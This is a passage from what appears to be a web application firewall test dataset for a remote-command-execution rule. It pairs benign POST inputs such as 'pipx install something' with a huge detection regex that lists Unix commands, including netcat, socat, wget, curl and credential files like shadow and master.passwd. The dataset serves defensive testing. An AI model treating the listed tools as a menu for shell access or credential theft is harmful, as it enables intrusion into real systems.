s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block Execution of pip3 command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=pipx install something\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*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\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$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b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block Execution of pipx command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=Compra a MODULAR ALUMINIO ESTRUCTURAL, STRUT PROFILE PG30 30X30 4 SLOTS | SELF TAPPING SCREW PG30 M1\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\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:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|